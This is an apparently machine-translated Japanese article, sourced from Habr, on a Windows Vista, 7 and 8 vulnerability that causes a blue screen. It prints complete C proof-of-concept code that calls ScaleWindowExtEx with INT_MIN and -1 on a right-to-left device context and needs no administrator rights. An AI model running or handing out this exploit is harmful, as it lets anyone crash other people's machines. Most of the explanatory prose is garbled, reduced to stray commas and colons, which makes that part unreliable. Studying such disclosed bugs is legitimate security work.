6行のコードでWindowsをドロップする方法

関連項目: Microsoftがブルースクリーンの脆弱性を修正

かつて、友人がWindowsの脆弱性について教えてくれました。 つまり、そのため、 6行のCコードでのブルースクリーンを簡単に呼び出すことができます。 さらに、プログラムは管理者権限を必要とせず、1つのウィンドウスケーリング関数のみを呼び出します。




理論のビット

無効な命令の場合、プロセッサは例外をスローし、OS自体がその処理を決定します。 これがプログラムのエラーであり、何らかの方法で処理できない場合、システムはプログラムが動作を停止したという既知のメッセージを全員に提供します。

たとえば、このコードのゼロ除算は無効な命令です。
#include <stdio.h>

int main()
{
    int a = 2 / 0;
    printf ("%d", a);
    return 0;
}

, (, warning).

, : .

INT_MIN / -1

INT_MIN -1.
, INT_MIN=−2,147,483,648=-231, INT_MAX=2,147,483,647=231-1. , : int , , .
, INT_MIN -1 int .

, , :
#include <stdio.h>
#include <limits.h>

int main()
{
    int a = INT_MIN;
    int b = -1;
    int c = a / b;
    printf ("%d", c);
    return 0;
}


Windows

Windows . - . - , : .
WinAPI , , . — ScaleWindowExtEx. — .
:
BOOL ScaleWindowExtEx(
  _In_   HDC hdc,
  _In_   int Xnum,
  _In_   int Xdenom,
  _In_   int Ynum,
  _In_   int Ydenom,
  _Out_  LPSIZE lpSize
);



, , . , — .
Xnum / Xdenom — x.
Ynum / Ydenom — y.
. , (device context) . , , - . , SetLayout.
, CreateCompatibleDC (NULL). SetLayout. ScaleWindowExtEx .
, , Windows .
INT_MIN -1 . - , .
gdi32.lib Windows:
#include <windows.h>
#include <limits.h>

int main()
{
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

:
#include <windows.h>
int main() {
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

INT_MIN -2147483648, , limits.h. , , . - .

Windows Vista, 7 8. 32- , 64- ( 64- ).

P.S. bash, .

UPDATE1: ((int) 0x8000/0x80000000) (-2147483647 — 1), . , AndreyDmitriev alper.
UPDATE2: Microsoft .
UPDATE3: «»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.

Source: https://habr.com/ru/post/J179543/


All Articles